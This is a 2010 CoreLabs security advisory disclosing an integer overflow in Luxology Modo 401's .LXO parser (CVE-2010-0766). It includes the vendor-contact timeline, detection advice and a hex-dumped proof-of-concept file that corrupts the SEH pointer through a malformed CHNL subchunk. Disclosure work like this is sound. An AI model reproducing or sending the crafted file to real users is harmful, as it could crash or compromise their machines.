Core Security Technologies Advisory 2009.0913

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- - Timeline corrected.  
  
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Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
Luxology Modo 401 .LXO Integer Overflow  
  
  
  
1. *Advisory Information*  
  
Title: Luxology Modo 401 .LXO Integer Overflow  
Advisory Id: CORE-2009-0913  
Advisory URL:  
http://www.coresecurity.com/content/luxology-modo-lxo-vulnerability  
Date published: 2010-03-02  
Date of last update: 2010-03-02  
Vendors contacted: Luxology LLC  
Release mode: User release  
  
  
  
2. *Vulnerability Information*  
  
Class: Failure to Sanitize Data into a Different Plane [CWE-74]  
Impact: Code execution  
Remotely Exploitable: Yes (client side)  
Locally Exploitable: No  
Bugtraq ID: 38460  
CVE Name: CVE-2010-0766  
  
  
  
3. *Vulnerability Description*  
  
Modo 401[2] is an advanced polygon, subdivision surface, modeling,  
sculpting, 3D painting, animation and rendering package developed by  
Luxology LLC [3].  
The function Swap4 in valet4.dll takes a length and an input buffer  
and proceeds to reverse DWORDs in the input buffer for proper  
endianness. In the case of the CHNL subchunk in which passing an  
invalid length to the Swap4 function would reverse every DWORD in the  
stack, both reversing SEH pointer near the bottom of the stack AND  
causing an exception  
An attacker can take full control of the machine where Luxology Modo  
401 is installed by sending a specially crafted .LXO file and enticing  
the user to open it.  
  
  
4. *Vulnerable packages*  
  
. Luxology Modo 401 - Windows  
. Older versions are probably affected too, but they were not checked.  
  
  
5. *Vendor Information, Solutions and Workarounds*  
  
The vendor did not provide fixes or workaround information.  
  
To determine if a .LXO is suspicious you could parse the content of  
the file searching for CHNL subchunk and validate its length.  
  
  
6. *Credits*  
  
This vulnerability was discovered and researched by Diego Juarez and  
Nadia Rodriguez from Core Security Technologies during Bugweek 2009 [1].  
  
  
7. *Technical Description / Proof of Concept Code*  
  
The LXO file format is derived from the metaformat for binary files  
described in "EA IFF 85 Standard for Interchange Format Files."[4]  
Mainly consisting of chunks and subchunks.  
While parsing subchunks, the function Swap4 in valet4.dll takes a  
length and an input buffer and proceeds to reverse DWORDs in the input  
buffer for proper endianness.  
A vulnerability was observed in the case of the CHNL subchunk in which  
passing an invalid length to the Swap4 function would reverse every  
DWORD in the stack, both reversing SEH pointer near the bottom of the  
stack AND causing an exception (ie: forcing a call to the now reversed  
SEH pointer).  
We belive this condition may be exploitable in some scenarios as long  
as the address of function __except_handler3 in kernel32.dll has a  
least significant byte < 0x7F.  
  
Proof of concept: Here is a 464 bytes long LXO file demonstrating the  
issue  
  
/-----  
00000000: 46 4F 52 4D-00 00 01 C4-4C 58 4F 42-54 41 47 53 FORM  
?-LXOBTAGS  
00000010: 00 00 00 08-44 65 66 61-75 6C 74 00-4C 41 59 52   
?Default LAYR  
00000020: 00 00 00 1A-00 00 00 00-00 00 00 00-00 00 00 00 ?  
00000030: 00 00 00 00-6C 61 79 65-72 6E 61 6D-65 00 50 4E   
layername PN  
00000040: 54 53 00 00-00 60 BF 00-00 00 BF 00-00 00 BF 00 TS `+   
+ +  
00000050: 00 00 3F 00-00 00 BF 00-00 00 BF 00-00 00 3F 00 ? +   
+ ?  
00000060: 00 00 BF 00-00 00 3F 00-00 00 BF 00-00 00 BF 00 + ?   
+ +  
00000070: 00 00 3F 00-00 00 BF 00-00 00 3F 00-00 00 BF 00 ? +   
? +  
00000080: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ?   
+ ?  
00000090: 00 00 3F 00-00 00 3F 00-00 00 BF 00-00 00 3F 00 ? ?   
+ ?  
000000A0: 00 00 3F 00-00 00 42 42-4F 58 00 00-00 18 BF 00 ?   
BBOX ?+  
000000B0: 00 00 BF 00-00 00 BF 00-00 00 3F 00-00 00 3F 00 + +   
? ?  
000000C0: 00 00 3F 00-00 00 50 4F-4C 53 00 00-00 40 46 41 ?   
POLS @FA  
000000D0: 43 45 00 04-00 00 00 01-00 02 00 03-00 04 00 00 CE ? ? ? ? ?  
000000E0: 00 04 00 05-00 01 00 04-00 01 00 05-00 06 00 02 ? ? ? ? ?  
? ? ?  
000000F0: 00 04 00 03-00 02 00 06-00 07 00 04-00 00 00 03 ? ? ? ?   
? ?  
00000100: 00 07 00 04-00 04 00 04-00 07 00 06-00 05 50 54 ? ? ?   
? ?PT  
00000110: 41 47 00 00-00 1C 53 55-52 46 00 00-00 00 00 01 AG   
?SURF ?  
00000120: 00 00 00 02-00 00 00 03-00 00 00 04-00 00 00 05 ? ?   
? ?  
00000130: 00 00 53 55-52 46 00 00-00 2A 44 65-66 61 75 6C SURF   
*Defaul  
00000140: 74 00 00 00-43 4F 4C 52-00 0E 3F 48-C8 8A 3F 48 t COLR  
??H+è?H  
00000150: C8 8A 3F 48-C8 8A 00 00-44 49 46 46-00 06 3F 80 +è?H+è  
DIFF ??Ç  
00000160: 00 00 00 00-49 54 45 4D-00 00 00 64-70 6F 6C 79 ITEM   
dpoly  
00000170: 52 65 6E 64-65 72 00 06-00 00 00 00-00 03 4C 49 Render  
? ?LI  
00000180: 4E 4B 00 10-70 61 72 65-6E 74 00 00-00 00 00 03 NK  
?parent ?  
00000190: 00 00 00 00-43 48 4E 56-00 22 61 6D-62 43 6F 6C CHNV  
"ambCol  
000001A0: 6F 72 00 00-00 02 00 00-00 03 52 00-40 00 00 00 or ? ?R @  
000001B0: 47 00 3F 80-00 00 42 00-3F 80 00 00-43 48 4E 4C G ?Ç B  
?Ç CHNL  
000001C0: 00 12 62 75-67 68 65 72-65 00 00 01-70 6E 78 21 ?bughere  
?pnx!  
  
- -----/  
  
  
  
8. *Report Timeline*  
  
. 2009-11-06:  
Core completes the support form trying to reach a security contact  
  
. 2009-11-13:  
Luxology LLC support team doesn't respond any mail. Core contacts CERT  
tring to reach a valid security contact at Luxology LLC.  
  
. 2009-11-16:  
CERT acknowledge the comunication, and Core reschedule the advisory to  
November 30th, 2009 based on CERT recomendations.  
  
. 2010-03-01:  
No response from Luxology LLC.  
  
. 2010-03-02:  
The advisory CORE-2009-0913 is published.  
  
  
  
9. *References*  
  
[1] The authors participated in Core Bugweek 2009 as members of the  
team "Gimbal Lock N Load".  
[2] http://www.luxology.com/modo/  
[3] http://www.luxology.com/  
[4] http://www.martinreddy.net/gfx/2d/IFF.txt  
  
  
10. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is  
charged with anticipating the future needs and requirements for  
information security technologies. We conduct our research in several  
important areas of computer security including system vulnerabilities,  
cyber attack planning and simulation, source code auditing, and  
cryptography. Our results include problem formalization,  
identification of vulnerabilities, novel solutions and prototypes for  
new technologies. CoreLabs regularly publishes security advisories,  
technical papers, project information and shared software tools for  
public use at: http://corelabs.coresecurity.com.  
  
  
11. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources  
are exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and  
software security auditing. Based in Boston, MA and Buenos Aires,  
Argentina, Core Security Technologies can be reached at 617-399-6980  
or on the Web at http://www.coresecurity.com.  
  
  
12. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2010 Core Security  
Technologies and (c) 2010 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper  
credit is given.  
  
  
13. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
  
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